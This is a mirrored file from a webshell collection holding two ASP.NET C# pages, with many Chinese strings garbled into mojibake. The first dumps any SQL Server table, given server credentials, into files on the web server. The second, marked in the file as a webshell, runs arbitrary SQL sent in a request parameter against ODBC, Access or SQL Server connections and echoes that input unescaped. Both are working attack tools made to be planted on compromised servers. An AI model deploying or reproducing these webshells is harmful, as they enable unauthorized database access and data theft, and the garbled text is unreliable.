mirror of
https://github.com/tennc/webshell
synced 2024-11-29 14:40:17 +00:00
574 lines
19 KiB
Text
574 lines
19 KiB
Text
|
<%@ Page Language=<3D><>C#<23><> %>
|
|||
|
|
|||
|
<!DOCTYPE html PUBLIC <20><>-//W3C//DTD XHTML 1.0 Transitional//EN<45><4E> <20><>http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd<74><64>>
|
|||
|
|
|||
|
<script runat=<3D><>server<65><72>>
|
|||
|
|
|||
|
protected void Button1_Click(object sender, EventArgs e)
|
|||
|
{
|
|||
|
string serverIP=txtServerIP.Text;
|
|||
|
string database=txtDatabase.Text;
|
|||
|
string user=txtUser.Text;
|
|||
|
string pass=txtPass.Text;
|
|||
|
string tableName=txtTableName.Text;
|
|||
|
string colName=txtColName.Text;
|
|||
|
string fileName=txtFileName.Text;
|
|||
|
|
|||
|
if (serverIP != null & database != null & user != null & pass != null & tableName != null & fileName != null)
|
|||
|
{
|
|||
|
|
|||
|
string connectionString = <20><>server=<3D><>+serverIP+<2B><>;database=<3D><>+database+<2B><>;uid=<3D><>+user+<2B><>;pwd=<3D><>+pass;
|
|||
|
System.Data.SqlClient.SqlConnection connection = new System.Data.SqlClient.SqlConnection(connectionString);
|
|||
|
|
|||
|
try
|
|||
|
{
|
|||
|
|
|||
|
connection.Open();
|
|||
|
string sqlStr = <20><>select * from <20><>+tableName;
|
|||
|
|
|||
|
if (colName!=<3D><>")
|
|||
|
{
|
|||
|
|
|||
|
sqlStr = <20><>select <20><> + colName + <20><> from <20><> + tableName;
|
|||
|
|
|||
|
}
|
|||
|
|
|||
|
System.Data.DataSet ds = new System.Data.DataSet();
|
|||
|
System.Data.SqlClient.SqlCommand cmd = new System.Data.SqlClient.SqlCommand(sqlStr, connection);
|
|||
|
System.Data.SqlClient.SqlDataAdapter da = new System.Data.SqlClient.SqlDataAdapter(cmd);
|
|||
|
da.Fill(ds);
|
|||
|
System.Data.DataTable dataTable = ds.Tables[0];
|
|||
|
|
|||
|
if (dataTable.Rows.Count==0)
|
|||
|
{
|
|||
|
lblInfo.Text = <20><>û<EFBFBD><C3BB><EFBFBD><EFBFBD>Ҫ<EFBFBD><D2AA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݣ<EFBFBD><DDA3><EFBFBD>;
|
|||
|
lblInfo.ForeColor = System.Drawing.Color.Blue;
|
|||
|
return;
|
|||
|
|
|||
|
}
|
|||
|
|
|||
|
string filePath = System.IO.Path.GetDirectoryName(Server.MapPath(<28><>DataOutExl.aspx<70><78>))+<2B><>\\DataOut<75><74>;
|
|||
|
if (!System.IO.Directory.Exists(filePath))
|
|||
|
{
|
|||
|
System.IO.Directory.CreateDirectory(filePath);
|
|||
|
}
|
|||
|
bool outType = RadioButton1.Checked;
|
|||
|
int sum = dataTable.Rows.Count;
|
|||
|
int count = 1;
|
|||
|
int size = 0;
|
|||
|
int tmpNum = 1;
|
|||
|
|
|||
|
if (txtNum.Text!=<3D><>")
|
|||
|
{
|
|||
|
size = int.Parse(txtNum.Text);
|
|||
|
count = sum / size+1;
|
|||
|
}
|
|||
|
|
|||
|
for (int z = 0; z < count; z++)
|
|||
|
{
|
|||
|
|
|||
|
Button1.Text = <20><><EFBFBD><EFBFBD><EFBFBD>ڵ<EFBFBD><DAB5><EFBFBD>..<2E><>;
|
|||
|
Button1.Enabled = false;
|
|||
|
lblInfo.Text = <20><><EFBFBD><EFBFBD><EFBFBD>ڵ<EFBFBD><DAB5><EFBFBD><EFBFBD>ڡ<EFBFBD>+(z+1)+<2B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݣ<EFBFBD><DDA3><EFBFBD><EFBFBD><EFBFBD>+count+<2B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݡ<EFBFBD>;
|
|||
|
lblInfo.ForeColor = System.Drawing.Color.Blue;
|
|||
|
|
|||
|
System.IO.StreamWriter file = new System.IO.StreamWriter(filePath+<2B><>\\<5C><> + (z+1) +<2B><>_<EFBFBD><5F>+fileName, false, Encoding.UTF8);
|
|||
|
|
|||
|
bool isFirst = true;
|
|||
|
if (outType)
|
|||
|
{
|
|||
|
|
|||
|
file.Write(@<40><><html><head><meta http-equiv=content-type content=<3D><>text/html; charset=UNICODE<44><45>>
|
|||
|
<style>*{font-size:12px;}table{background:#DDD;border:solid 2px #CCC;}td{background:#FFF;}
|
|||
|
.th td{background:#EEE;font-weight:bold;height:28px;color:#008;}
|
|||
|
div{border:solid 1px #DDD;background:#FFF;padding:3px;color:#00B;}</style>
|
|||
|
<title>Export Table</title></head><body><3E><>);
|
|||
|
|
|||
|
file.Write(<28><><table border=<3D><>0<EFBFBD><30> cellspacing=<3D><>1<EFBFBD><31> cellpadding=<3D><>3<EFBFBD><33>><3E><>);
|
|||
|
|
|||
|
}
|
|||
|
|
|||
|
for (int i = size*z; i < dataTable.Rows.Count; i++)
|
|||
|
{
|
|||
|
System.Data.DataRow dataRow = dataTable.Rows[i];
|
|||
|
if (isFirst)
|
|||
|
{
|
|||
|
if ( outType)
|
|||
|
{
|
|||
|
file.Write(<28><><tr class=<3D><>th<74><68>><3E><>);
|
|||
|
}
|
|||
|
|
|||
|
for (int j = 0; j < dataTable.Columns.Count; j++)
|
|||
|
{
|
|||
|
|
|||
|
if (outType)
|
|||
|
{
|
|||
|
file.Write(<28><><td><3E><>);
|
|||
|
}
|
|||
|
|
|||
|
file.Write(dataTable.Columns[j].ColumnName + <20><> <20><>);
|
|||
|
|
|||
|
if (outType)
|
|||
|
{
|
|||
|
file.Write(<28><></td><3E><>);
|
|||
|
}
|
|||
|
}
|
|||
|
|
|||
|
if (outType)
|
|||
|
{
|
|||
|
file.Write(<28><></tr><3E><>);
|
|||
|
}
|
|||
|
|
|||
|
isFirst = false;
|
|||
|
}
|
|||
|
|
|||
|
if (outType)
|
|||
|
{
|
|||
|
file.Write(<28><><tr><3E><>);
|
|||
|
}
|
|||
|
else
|
|||
|
{
|
|||
|
file.WriteLine(<28><> <20><>);
|
|||
|
}
|
|||
|
|
|||
|
for (int k = 0; k < dataTable.Columns.Count; k++)
|
|||
|
{
|
|||
|
|
|||
|
if (outType)
|
|||
|
{
|
|||
|
file.Write(<28><><td><3E><>);
|
|||
|
}
|
|||
|
|
|||
|
file.Write(dataTable.Rows[i][k] + <20><> <20><>);
|
|||
|
|
|||
|
if (outType)
|
|||
|
{
|
|||
|
file.Write(<28><></td><3E><>);
|
|||
|
}
|
|||
|
}
|
|||
|
|
|||
|
if (outType)
|
|||
|
{
|
|||
|
file.Write(<28><><tr><3E><>);
|
|||
|
}
|
|||
|
else
|
|||
|
{
|
|||
|
file.WriteLine(<28><> <20><>);
|
|||
|
}
|
|||
|
|
|||
|
if (tmpNum==size)
|
|||
|
break;
|
|||
|
|
|||
|
tmpNum += 1;
|
|||
|
|
|||
|
}
|
|||
|
|
|||
|
if (outType)
|
|||
|
{
|
|||
|
file.Write(<28><></table><3E><>);
|
|||
|
file.Write(<28><><br /><div>ִ<>гɹ<D0B3>!<21><><EFBFBD>ء<EFBFBD> + tmpNum + <20><><EFBFBD><EFBFBD></div><3E><>);
|
|||
|
file.Write(<28><></body></html><3E><>);
|
|||
|
}
|
|||
|
else
|
|||
|
{
|
|||
|
file.WriteLine(<28><>ִ<EFBFBD>гɹ<D0B3>!<21><><EFBFBD>ء<EFBFBD> + tmpNum + <20><><EFBFBD><EFBFBD>!<21><>);
|
|||
|
}
|
|||
|
|
|||
|
file.Dispose();
|
|||
|
file.Close();
|
|||
|
tmpNum = 1;
|
|||
|
}
|
|||
|
|
|||
|
lblInfo.Text = <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ɹ<EFBFBD><C9B9><EFBFBD><EFBFBD><EFBFBD>;
|
|||
|
lblInfo.ForeColor = System.Drawing.Color.Blue;
|
|||
|
Button1.Enabled = true;
|
|||
|
Button1.Text = <20><><EFBFBD><EFBFBD>ʼ<EFBFBD><CABC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>;
|
|||
|
|
|||
|
}
|
|||
|
catch (Exception ex)
|
|||
|
{
|
|||
|
lblInfo.Text = <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD>ܣ<EFBFBD><DCA3><EFBFBD> + ex.Message;
|
|||
|
lblInfo.ForeColor = System.Drawing.Color.Red;
|
|||
|
|
|||
|
}finally
|
|||
|
{
|
|||
|
connection.Close();
|
|||
|
}
|
|||
|
|
|||
|
}
|
|||
|
else
|
|||
|
{
|
|||
|
lblInfo.Text = <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>д<EFBFBD><D0B4><EFBFBD>ص<EFBFBD><D8B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ<EFBFBD><CFA2><EFBFBD><EFBFBD>;
|
|||
|
lblInfo.ForeColor = System.Drawing.Color.Red;
|
|||
|
}
|
|||
|
}
|
|||
|
</script>
|
|||
|
|
|||
|
<html xmlns=<3D><>http://www.w3.org/1999/xhtml<6D><6C>>
|
|||
|
<head runat=<3D><>server<65><72>>
|
|||
|
<title><3E>ޱ<EFBFBD><DEB1><EFBFBD>ҳ</title>
|
|||
|
<style type=<3D><>text/css<73><73>>
|
|||
|
.style1
|
|||
|
{
|
|||
|
width: 61%;
|
|||
|
}
|
|||
|
.style2
|
|||
|
{
|
|||
|
height: 23px;
|
|||
|
}
|
|||
|
</style>
|
|||
|
</head>
|
|||
|
<body>
|
|||
|
<form id=<3D><>form1<6D><31> runat=<3D><>server<65><72>>
|
|||
|
<div>
|
|||
|
|
|||
|
<table>
|
|||
|
<tr>
|
|||
|
<td colspan=<3D><>2<EFBFBD><32> align=center>
|
|||
|
SQL Server <20><><EFBFBD>ݵ<EFBFBD><DDB5><EFBFBD>
|
|||
|
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>:<a href=<3D><>http://hi.baidu.com/5427518<31><38>><3E>顯Blog</a></td>
|
|||
|
|
|||
|
</tr>
|
|||
|
<tr>
|
|||
|
<td>
|
|||
|
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>IP:</td>
|
|||
|
<td>
|
|||
|
<asp:TextBox ID=<3D><>txtServerIP<49><50> runat=<3D><>server<65><72> Width=<3D><>172px<70><78>></asp:TextBox>
|
|||
|
*</td>
|
|||
|
</tr>
|
|||
|
<tr>
|
|||
|
<td>
|
|||
|
<20><><EFBFBD>ݿ⣺</td>
|
|||
|
<td>
|
|||
|
<asp:TextBox ID=<3D><>txtDatabase<73><65> runat=<3D><>server<65><72> Width=<3D><>172px<70><78>></asp:TextBox>
|
|||
|
*</td>
|
|||
|
</tr>
|
|||
|
<tr>
|
|||
|
<td>
|
|||
|
<20>û<EFBFBD><C3BB><EFBFBD><EFBFBD><EFBFBD></td>
|
|||
|
<td>
|
|||
|
<asp:TextBox ID=<3D><>txtUser<65><72> runat=<3D><>server<65><72> Width=<3D><>172px<70><78>></asp:TextBox>
|
|||
|
*</td>
|
|||
|
</tr>
|
|||
|
<tr>
|
|||
|
<td>
|
|||
|
<20><><EFBFBD>룺</td>
|
|||
|
<td>
|
|||
|
<asp:TextBox ID=<3D><>txtPass<73><73> runat=<3D><>server<65><72> Width=<3D><>172px<70><78>></asp:TextBox>
|
|||
|
*</td>
|
|||
|
</tr>
|
|||
|
<tr>
|
|||
|
<td>
|
|||
|
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD></td>
|
|||
|
<td>
|
|||
|
<asp:TextBox ID=<3D><>txtTableName<6D><65> runat=<3D><>server<65><72> Width=<3D><>172px<70><78>></asp:TextBox>
|
|||
|
*</td>
|
|||
|
</tr>
|
|||
|
<tr>
|
|||
|
<td>
|
|||
|
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD></td>
|
|||
|
<td>
|
|||
|
<asp:TextBox ID=<3D><>txtColName<6D><65> runat=<3D><>server<65><72> Width=<3D><>172px<70><78>></asp:TextBox>
|
|||
|
<20><><EFBFBD><EFBFBD>֮<EFBFBD><D6AE><EFBFBD><EFBFBD><EFBFBD>á<EFBFBD>,<2C><><EFBFBD>ֿ<EFBFBD><D6BF><EFBFBD><EFBFBD><EFBFBD>д<EFBFBD><D0B4><EFBFBD><EFBFBD>ȫ<EFBFBD><C8AB></td>
|
|||
|
</tr>
|
|||
|
<tr>
|
|||
|
<td>
|
|||
|
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD></td>
|
|||
|
<td>
|
|||
|
<asp:TextBox ID=<3D><>txtNum<75><6D> runat=<3D><>server<65><72> Width=<3D><>172px<70><78>></asp:TextBox>
|
|||
|
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݶ<EFBFBD><DDB6><EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʹ<EFBFBD><CAB9></td>
|
|||
|
</tr>
|
|||
|
<tr>
|
|||
|
<td>
|
|||
|
<20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD></td>
|
|||
|
<td>
|
|||
|
<asp:TextBox ID=<3D><>txtFileName<6D><65> runat=<3D><>server<65><72> Width=<3D><>172px<70><78>></asp:TextBox>
|
|||
|
*</td>
|
|||
|
</tr>
|
|||
|
<tr>
|
|||
|
<td>
|
|||
|
<20>ļ<EFBFBD><C4BC><EFBFBD>ʽ<EFBFBD><CABD></td>
|
|||
|
<td>
|
|||
|
<asp:RadioButton ID=<3D><>RadioButton1<6E><31> runat=<3D><>server<65><72> GroupName=<3D><>type<70><65> Checked=<3D><>true<75><65> Text=<3D><>html<6D><6C> />
|
|||
|
|
|||
|
<asp:RadioButton ID=<3D><>RadioButton2<6E><32> runat=<3D><>server<65><72> GroupName=<3D><>type<70><65> Text=<3D><>txt<78><74> />
|
|||
|
</td>
|
|||
|
</tr>
|
|||
|
<tr>
|
|||
|
<td colspan=<3D><>2<EFBFBD><32> align=<3D><>center<65><72>>
|
|||
|
<asp:Button ID=<3D><>Button1<6E><31> runat=<3D><>server<65><72> Text=<3D><><EFBFBD><EFBFBD>ʼ<EFBFBD><CABC><EFBFBD><EFBFBD><EFBFBD><EFBFBD> onclick=<3D><>Button1_Click<63><6B> />
|
|||
|
</td>
|
|||
|
|
|||
|
</tr>
|
|||
|
<tr>
|
|||
|
<td colspan=<3D><>2<EFBFBD><32>>
|
|||
|
<asp:Label ID=<3D><>lblInfo<66><6F> runat=<3D><>server<65><72> Text=<3D><>"></asp:Label>
|
|||
|
</td>
|
|||
|
|
|||
|
</tr>
|
|||
|
</table>
|
|||
|
|
|||
|
</div>
|
|||
|
</form>
|
|||
|
</body>
|
|||
|
</html>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
=======================================================
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<EFBFBD>̿<EFBFBD>webshell֮<EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
<%@ Page Language=<3D><>C#<23><> %>
|
|||
|
|
|||
|
<!DOCTYPE html PUBLIC <20><>-//W3C//DTD XHTML 1.0 Transitional//EN<45><4E> <20><>http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd<74><64>>
|
|||
|
|
|||
|
<script runat=<3D><>server<65><72>>
|
|||
|
protected void Page_Load(object sender, EventArgs e)
|
|||
|
{
|
|||
|
//if (Request["sub"] != null && Request["sub"] == <20><>submit<69><74>)
|
|||
|
//{
|
|||
|
// GridView1.Visible = true;
|
|||
|
|
|||
|
// //System.Web.HttpContext.Current.Response.Write(DropDownList1.SelectedIndex);
|
|||
|
// if (DropDownList1.SelectedIndex == 0)
|
|||
|
// {
|
|||
|
// using (System.Data.Odbc.OdbcConnection conn = new System.Data.Odbc.OdbcConnection(Request["conn"]))
|
|||
|
// {
|
|||
|
// conn.Open();
|
|||
|
// System.Data.Odbc.OdbcCommand comm = new System.Data.Odbc.OdbcCommand(Request["sql"], conn);
|
|||
|
// System.Data.Odbc.OdbcDataAdapter ad = new System.Data.Odbc.OdbcDataAdapter();
|
|||
|
// ad.SelectCommand = comm;
|
|||
|
// System.Data.DataSet ds = new System.Data.DataSet();
|
|||
|
// ad.Fill(ds);
|
|||
|
// GridView1.DataSource = ds;
|
|||
|
// GridView1.DataBind();
|
|||
|
// }
|
|||
|
// }
|
|||
|
// if (DropDownList1.SelectedIndex == 2)
|
|||
|
// {
|
|||
|
// using (System.Data.SqlClient.SqlConnection conn = new System.Data.SqlClient.SqlConnection(Request["conn"]))
|
|||
|
// {
|
|||
|
// conn.Open();
|
|||
|
// System.Data.SqlClient.SqlCommand comm = new System.Data.SqlClient.SqlCommand(Request["sql"], conn);
|
|||
|
// System.Data.SqlClient.SqlDataAdapter ad = new System.Data.SqlClient.SqlDataAdapter();
|
|||
|
// ad.SelectCommand = comm;
|
|||
|
// System.Data.DataSet ds = new System.Data.DataSet();
|
|||
|
// ad.Fill(ds);
|
|||
|
// GridView1.DataSource = ds;
|
|||
|
// GridView1.DataBind();
|
|||
|
// }
|
|||
|
|
|||
|
// }
|
|||
|
// if (DropDownList1.SelectedIndex == 1)
|
|||
|
// {
|
|||
|
// using (System.Data.OleDb.OleDbConnection conn = new System.Data.OleDb.OleDbConnection(Request["conn"]))
|
|||
|
// {
|
|||
|
// conn.Open();
|
|||
|
// System.Data.OleDb.OleDbCommand comm = new System.Data.OleDb.OleDbCommand(Request["sql"], conn);
|
|||
|
// System.Data.OleDb.OleDbDataAdapter ad = new System.Data.OleDb.OleDbDataAdapter();
|
|||
|
// ad.SelectCommand = comm;
|
|||
|
// System.Data.DataSet ds = new System.Data.DataSet();
|
|||
|
// ad.Fill(ds);
|
|||
|
// GridView1.DataSource = ds;
|
|||
|
// GridView1.DataBind();
|
|||
|
// }
|
|||
|
// }
|
|||
|
//}
|
|||
|
|
|||
|
}
|
|||
|
|
|||
|
protected void DropDownList1_SelectedIndexChanged(object sender, EventArgs e)
|
|||
|
{
|
|||
|
connT.Text = DropDownList1.SelectedValue.ToString();
|
|||
|
GridView1.Visible = false;
|
|||
|
DropDownList2.Items.Clear();
|
|||
|
}
|
|||
|
|
|||
|
protected void Button1_Click(object sender, EventArgs e)
|
|||
|
|
|||
|
{
|
|||
|
if (DropDownList1.SelectedIndex == 0)
|
|||
|
{
|
|||
|
using (System.Data.Odbc.OdbcConnection conn = new System.Data.Odbc.OdbcConnection(connT.Text.ToString()))
|
|||
|
//using (System.Data.OleDb.OleDbConnection conn = new System.Data.OleDb.OleDbConnection(connT.Text.ToString()))
|
|||
|
{
|
|||
|
conn.Open();
|
|||
|
System.Data.DataTable dt = conn.GetSchema(<28><>Tables<65><73>);
|
|||
|
|
|||
|
//GridView1.DataSource = dt;
|
|||
|
//GridView1.DataBind();
|
|||
|
//GridView1.Visible = true;
|
|||
|
//DropDownList2.DataSource = dt.Select(<28><>TABLE_TYPE=<3D><>TABLE<4C><45><EFBFBD><EFBFBD>);
|
|||
|
//DropDownList2.DataValueField = <20><>TABLE_NAME<4D><45>;
|
|||
|
//DropDownList2.DataTextField = <20><>TABLE_NAME<4D><45>;
|
|||
|
//DropDownList2.DataBind();
|
|||
|
DropDownList2.Items.Clear();
|
|||
|
foreach (System.Data.DataRow item in dt.Select(<28><>TABLE_TYPE=<3D><>TABLE<4C><45><EFBFBD><EFBFBD>))
|
|||
|
{
|
|||
|
|
|||
|
DropDownList2.Items.Add(new ListItem(item["TABLE_NAME"].ToString(), item["TABLE_NAME"].ToString()));
|
|||
|
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
if (DropDownList1.SelectedIndex == 1)
|
|||
|
{
|
|||
|
using (System.Data.OleDb.OleDbConnection conn = new System.Data.OleDb.OleDbConnection(connT.Text.ToString()))
|
|||
|
{
|
|||
|
conn.Open();
|
|||
|
System.Data.DataTable dt = conn.GetSchema(<28><>Tables<65><73>);
|
|||
|
|
|||
|
//GridView1.DataSource = dt;
|
|||
|
//GridView1.DataBind();
|
|||
|
//GridView1.Visible = true;
|
|||
|
//DropDownList2.DataSource = dt.Select(<28><>TABLE_TYPE=<3D><>TABLE<4C><45><EFBFBD><EFBFBD>);
|
|||
|
//DropDownList2.DataValueField = <20><>TABLE_NAME<4D><45>;
|
|||
|
//DropDownList2.DataTextField = <20><>TABLE_NAME<4D><45>;
|
|||
|
//DropDownList2.DataBind();
|
|||
|
DropDownList2.Items.Clear();
|
|||
|
foreach (System.Data.DataRow item in dt.Select(<28><>TABLE_TYPE=<3D><>TABLE<4C><45><EFBFBD><EFBFBD>))
|
|||
|
{
|
|||
|
|
|||
|
DropDownList2.Items.Add(new ListItem(item["TABLE_NAME"].ToString(), item["TABLE_NAME"].ToString()));
|
|||
|
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
if (DropDownList1.SelectedIndex == 2)
|
|||
|
{
|
|||
|
using (System.Data.SqlClient.SqlConnection conn = new System.Data.SqlClient.SqlConnection(connT.Text.ToString()))
|
|||
|
{
|
|||
|
conn.Open();
|
|||
|
System.Data.SqlClient.SqlCommand comm = new System.Data.SqlClient.SqlCommand(<28><>select name from sysobjects where type=<3D><>U'<27><>, conn);
|
|||
|
//System.Data.SqlClient.SqlDataReader dr = comm.ExecuteReader();
|
|||
|
//string UserTable = <20><><EFBFBD><EFBFBD>;
|
|||
|
//while (dr.Read())
|
|||
|
//{
|
|||
|
// UserTable = (string)dr[0];
|
|||
|
// DropDownList2.Items.Add(UserTable);
|
|||
|
|
|||
|
//}
|
|||
|
System.Data.SqlClient.SqlDataAdapter ad = new System.Data.SqlClient.SqlDataAdapter();
|
|||
|
ad.SelectCommand = comm;
|
|||
|
System.Data.DataSet ds = new System.Data.DataSet();
|
|||
|
ad.Fill(ds);
|
|||
|
|
|||
|
DropDownList2.DataSource = ds;
|
|||
|
|
|||
|
DropDownList2.DataTextField = <20><>name<6D><65>;
|
|||
|
DropDownList2.DataValueField = <20><>name<6D><65>;
|
|||
|
DropDownList2.DataBind();
|
|||
|
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
|
|||
|
protected void Button2_Click(object sender, EventArgs e)
|
|||
|
{
|
|||
|
string provoder = <20><><EFBFBD><EFBFBD>;
|
|||
|
|
|||
|
if (DropDownList1.SelectedIndex == 1)
|
|||
|
provoder = <20><>System.Data.OleDb<44><62>;
|
|||
|
else if (DropDownList1.SelectedIndex == 2)
|
|||
|
|
|||
|
provoder = <20><>System.Data.SqlClient<6E><74>;
|
|||
|
else if (DropDownList1.SelectedIndex ==0)
|
|||
|
{
|
|||
|
provoder = <20><>System.Data.Odbc<62><63>;
|
|||
|
}
|
|||
|
|
|||
|
System.Data.Common.DbProviderFactory factory = System.Data.Common.DbProviderFactories.GetFactory(provoder);
|
|||
|
System.Data.Common.DbConnection conn=factory.CreateConnection() ;
|
|||
|
conn.ConnectionString = connT.Text;
|
|||
|
conn.Open();
|
|||
|
System.Data.Common.DbCommand comm = conn.CreateCommand();
|
|||
|
comm.CommandText = Request["sql"];
|
|||
|
System.Data.Common.DbDataReader dr= comm.ExecuteReader();
|
|||
|
GridView1.DataSource = dr;
|
|||
|
GridView1.DataBind();
|
|||
|
GridView1.Visible = true;
|
|||
|
dr.Close();
|
|||
|
comm.Dispose();
|
|||
|
conn.Close();
|
|||
|
|
|||
|
}
|
|||
|
</script>
|
|||
|
|
|||
|
<html xmlns=<3D><>http://www.w3.org/1999/xhtml<6D><6C>>
|
|||
|
<head runat=<3D><>server<65><72>>
|
|||
|
<title></title>
|
|||
|
|
|||
|
<script language=<3D><>javascript<70><74> type=<3D><>text/javascript<70><74>>
|
|||
|
// <!CDATA[
|
|||
|
|
|||
|
function Select1_onclick() {
|
|||
|
document.getElementById('conn').value = "dsn";
|
|||
|
}
|
|||
|
|
|||
|
// ]]>
|
|||
|
</script>
|
|||
|
<style type=<3D><>text/css<73><73>>
|
|||
|
#sql
|
|||
|
{
|
|||
|
width: 677px;
|
|||
|
height: 106px;
|
|||
|
}
|
|||
|
</style>
|
|||
|
</head>
|
|||
|
<body>
|
|||
|
<form id=<3D><>form1<6D><31> runat=<3D><>server<65><72>>
|
|||
|
<div>
|
|||
|
<table><tr><td >
|
|||
|
type:</td><td colspan=<3D><>2<EFBFBD><32>><asp:DropDownList ID=<3D><>DropDownList1<74><31> runat=<3D><>server<65><72>
|
|||
|
onselectedindexchanged=<3D><>DropDownList1_SelectedIndexChanged<65><64>
|
|||
|
AutoPostBack=<3D><>True<75><65>>
|
|||
|
<asp:ListItem Value=<3D><>dsn=;uid=;pwd=;<3B><>>dsn</asp:ListItem>
|
|||
|
<asp:ListItem Value=<3D><>Provider=Microsoft.Jet.OLEDB.4.0;Data Source=E:\database.mdb<64><62>>access</asp:ListItem>
|
|||
|
<asp:ListItem Value=<3D><>server=localhost;UID=sa;PWD=;database=master<65><72>>mssql</asp:ListItem>
|
|||
|
</asp:DropDownList>
|
|||
|
<br/></td>
|
|||
|
</tr>
|
|||
|
|
|||
|
<tr><td>
|
|||
|
conn: </td><td><asp:TextBox ID=<3D><>connT<6E><54> name=<3D><>conn<6E><6E> runat=<3D><>server<65><72> Width=<3D><>680px<70><78>></asp:TextBox></td><td>
|
|||
|
<asp:Button
|
|||
|
ID=<3D><>Button1<6E><31> runat=<3D><>server<65><72> Text=<3D><>Go<47><6F>
|
|||
|
onclick=<3D><>Button1_Click<63><6B> />
|
|||
|
<br/>
|
|||
|
</td></tr>
|
|||
|
<tr><td>tables</td><td colspan=<3D><>2<EFBFBD><32>>
|
|||
|
<asp:DropDownList ID=<3D><>DropDownList2<74><32> runat=<3D><>server<65><72>>
|
|||
|
</asp:DropDownList>
|
|||
|
</td></tr>
|
|||
|
<tr><td>sqlstr: </td><td><input type=<3D><>text<78><74> name=<3D><>sql<71><6C> id=<3D><>sql<71><6C> value=<3D><><% =Request["sql"]%><3E><>/></td><td>
|
|||
|
|
|||
|
<br />
|
|||
|
<asp:Button ID=<3D><>Button2<6E><32> runat=<3D><>server<65><72> onclick=<3D><>Button2_Click<63><6B> Text=<3D><>Exec<65><63> />
|
|||
|
</td></tr>
|
|||
|
</table>
|
|||
|
<asp:GridView ID=<3D><>GridView1<77><31> runat=<3D><>server<65><72> CellPadding=<3D><>4<EFBFBD><34> ForeColor=<3D><>#333333<33><33>
|
|||
|
GridLines=<3D><>None<6E><65>>
|
|||
|
<RowStyle BackColor=<3D><>#EFF3FB<46><42> />
|
|||
|
<FooterStyle BackColor=<3D><>#507CD1<44><31> Font-Bold=<3D><>True<75><65> ForeColor=<3D><>White<74><65> />
|
|||
|
<PagerStyle BackColor=<3D><>#2461BF<42><46> ForeColor=<3D><>White<74><65> HorizontalAlign=<3D><>Center<65><72> />
|
|||
|
<SelectedRowStyle BackColor=<3D><>#D1DDF1<46><31> Font-Bold=<3D><>True<75><65> ForeColor=<3D><>#333333<33><33> />
|
|||
|
<HeaderStyle BackColor=<3D><>#507CD1<44><31> Font-Bold=<3D><>True<75><65> ForeColor=<3D><>White<74><65> />
|
|||
|
<EditRowStyle BackColor=<3D><>#2461BF<42><46> />
|
|||
|
<AlternatingRowStyle BackColor=<3D><>White<74><65> />
|
|||
|
</asp:GridView>
|
|||
|
</div>
|
|||
|
</form>
|
|||
|
</body>
|
|||
|
</html>
|